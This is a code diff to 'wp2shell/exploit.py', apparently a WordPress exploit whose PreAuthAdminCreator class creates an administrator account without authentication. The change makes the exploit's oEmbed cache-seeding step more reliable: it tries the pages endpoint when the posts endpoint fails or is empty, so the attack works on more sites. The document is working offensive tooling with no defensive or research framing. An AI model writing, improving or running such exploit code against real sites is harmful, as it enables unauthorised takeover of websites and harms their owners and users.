Fall back to a page for oEmbed seeding when no posts exist

wp2shell/exploit.py

@@ -152,19 +152,33 @@ class PreAuthAdminCreator:
         return admin_id
 
     def _loopback_embed_urls(self, nonce: str) -> List[str]:
-        post_link = self._first_public_post_link()
-        split = urllib.parse.urlsplit(post_link)
+        base_link = self._first_embeddable_link()
+        split = urllib.parse.urlsplit(base_link)
         return [
             urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
             for i in range(3)
         ]
 
-    def _first_public_post_link(self) -> str:
-        with self._open_rest("/wp/v2/posts", {"per_page": "1", "_fields": "link"}) as response:
-            posts = json.loads(response.read())
-        if not posts or not posts[0].get("link"):
-            raise RuntimeError("could not find a public post link for oEmbed seeding")
-        return posts[0]["link"]
+    def _first_embeddable_link(self) -> str:
+        """Return a published, public permalink to seed the oEmbed cache from.
+
+        Any singular public post or page works: rendering ``[embed]<link>`` makes WordPress create
+        the backing ``oembed_cache`` posts. A default install always qualifies -- ``wp_install_defaults()``
+        publishes both the "Hello world!" post and the "Sample Page" -- so this normally hits the
+        first route; the page fallback covers the rare posts-less site.
+        """
+        for route in ("/wp/v2/posts", "/wp/v2/pages"):
+            try:
+                with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response:
+                    items = json.loads(response.read())
+            except urllib.error.HTTPError:
+                continue  # route disabled/restricted -> try the next one
+            if items and items[0].get("link"):
+                return items[0]["link"]
+        raise RuntimeError(
+            "no public post or page found to seed the oEmbed cache "
+            "(need at least one published post or page)"
+        )
 
     def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
         content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)